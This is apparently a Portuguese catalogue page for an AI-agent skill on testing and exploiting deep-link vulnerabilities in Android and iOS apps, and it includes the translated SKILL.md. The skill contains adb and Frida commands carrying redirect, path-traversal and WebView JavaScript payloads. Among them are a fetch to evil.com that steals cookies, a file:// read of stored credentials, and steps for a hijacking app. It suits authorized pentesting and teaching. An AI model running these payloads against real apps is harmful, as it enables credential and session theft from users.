exploiting-deeplink-vulnerabilities
Ajuda seu agente a testar e explorar vulnerabilidades de deep link em aplicativos móveis.
O que ela faz
Esta ferramenta ajuda a encontrar falhas de segurança em como aplicativos de celular (Android e iOS) abrem links especiais. Ela verifica se é possível acessar informações indevidas, injetar dados ou redirecionar o usuário para sites perigosos através desses links.
Quando usar
- ✓Ao testar a segurança de links que abrem aplicativos específicos.
- ✓Quando se verifica se um link pode ser interceptado por outro aplicativo.
- ✓Para checar se links que deveriam abrir um site específico no app abrem em outro lugar.
Exemplo do que pedir para a IA
“Verifique se o aplicativo X é seguro contra links maliciosos que tentam roubar dados.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta analisa como o aplicativo lida com links especiais (como 'meuapp://') e links da web configurados para abrir o app. Ela tenta enviar informações maliciosas nesses links para ver se o aplicativo reage de forma insegura.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-deeplink-vulnerabilitiesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-deeplink-vulnerabilities/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Vulnerabilidades de Deep Link
Quando Usar
Use esta habilidade quando:
- Avaliando o tratamento de deep links de aplicativos móveis para vulnerabilidades de injeção e redirecionamento
- Testando filtros de intenção do Android e manipuladores de esquema de URL do iOS para acesso não autorizado
- Avaliando a verificação de App Links (Android) e Universal Links (iOS)
- Testando o sequestro de links por meio de registros de aplicativos concorrentes
Não use sem autorização -- a exploração de deep links pode acionar ações não intencionais em aplicativos de destino.
Pré-requisitos
- Dispositivo Android com ADB ou dispositivo iOS com Objection/Frida
- APK descompilado com apktool ou JADX para análise do AndroidManifest.xml
- Conhecimento dos esquemas de URL registrados e filtros de intenção do aplicativo de destino
- Drozer para testes de intenção do Android
- Burp Suite para interceptar chamadas de API acionadas por deep link
Fluxo de Trabalho
Passo 1: Enumerar Pontos de Entrada de Deep Link
Android - Extrair do AndroidManifest.xml:
# Decompile APK
apktool d target.apk -o decompiled/
# Search for intent filters with deep link schemes
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml
# Look for:
# <data android:scheme="myapp" android:host="action" />
# <data android:scheme="https" android:host="target.com" />
iOS - Extrair do Info.plist:
# Extract URL schemes
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"
# Extract Universal Links (Associated Domains)
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
# Check: applinks:target.com
# Verify apple-app-site-association file
curl https://target.com/.well-known/apple-app-site-association
Passo 2: Testar Injeção de Deep Link
Android via ADB:
# Basic deep link invocation
adb shell am start -a android.intent.action.VIEW \
-d "myapp://dashboard?user_id=1337" com.target.app
# Test with injection payloads
adb shell am start -a android.intent.action.VIEW \
-d "myapp://profile?redirect=https://evil.com" com.target.app
# Test path traversal
adb shell am start -a android.intent.action.VIEW \
-d "myapp://navigate?path=../../../admin" com.target.app
# Test JavaScript injection (if loaded in WebView)
adb shell am start -a android.intent.action.VIEW \
-d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app
# Test with extra intent parameters
adb shell am start -a android.intent.action.VIEW \
-d "myapp://transfer?amount=1000&to=attacker" \
--es extra_param "injected_value" com.target.app
iOS via Safari ou linha de comando:
# Trigger URL scheme from Safari
# Navigate to: myapp://dashboard?user_id=1337
# Using Frida to invoke
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
.openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'
Passo 3: Testar Sequestro de Link
Android:
# Create a malicious app that registers the same URL scheme
# AndroidManifest.xml of attacker app:
# <intent-filter>
# <action android:name="android.intent.action.VIEW" />
# <category android:name="android.intent.category.DEFAULT" />
# <category android:name="android.intent.category.BROWSABLE" />
# <data android:scheme="myapp" />
# </intent-filter>
# When both apps are installed, Android shows a chooser dialog
# On older Android versions, the first-installed app may handle the link
# Check App Links verification (prevents hijacking)
adb shell pm get-app-links com.target.app
# Status: verified = secure
# Status: undefined = vulnerable to hijacking
Passo 4: Testar Carregamento de Deep Link em WebView
# If deep links load URLs in WebView, test for:
# 1. Open redirect
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app
# 2. File access
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"
# 3. JavaScript execution in WebView
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"
Passo 5: Avaliar Validação de Parâmetros
Teste cada parâmetro de deep link para:
- Injeção de SQL em parâmetros que consultam bancos de dados locais
- Travessia de diretório em parâmetros de caminho de arquivo
- SSRF em parâmetros de URL que acionam requisições do servidor
- Bypass de autenticação via parâmetros user_id ou session
Conceitos Chave
| Termo | Definição |
|---|---|
| Esquema de URL Personalizado | Protocolo registrado pelo aplicativo (myapp://) que direciona para manipuladores específicos do aplicativo quando invocado |
…
Perguntas frequentes
O que é um 'deep link'?
É um tipo de link que, em vez de abrir uma página na web, abre diretamente uma tela específica dentro de um aplicativo no seu celular.
O que é 'intent hijacking'?
É quando um aplicativo malicioso consegue 'roubar' um link especial que deveria ir para um aplicativo legítimo, interceptando-o e abrindo no aplicativo do criminoso.
Preciso de conhecimento técnico para usar?
Sim, é preciso ter familiaridade com ferramentas de linha de comando e entender como os aplicativos funcionam internamente para usar esta ferramenta de forma eficaz.
Detalhes
Descrição original do autor
Tests and exploits deep link (URL scheme and App Link) vulnerabilities in Android and iOS mobile applications to identify unauthorized access, data injection, intent hijacking, and redirect manipulation. Use when assessing mobile app attack surface through custom URI schemes, Android App Links, iOS Universal Links, or intent-based navigation. Activates for requests involving deep link security tes
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5742
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC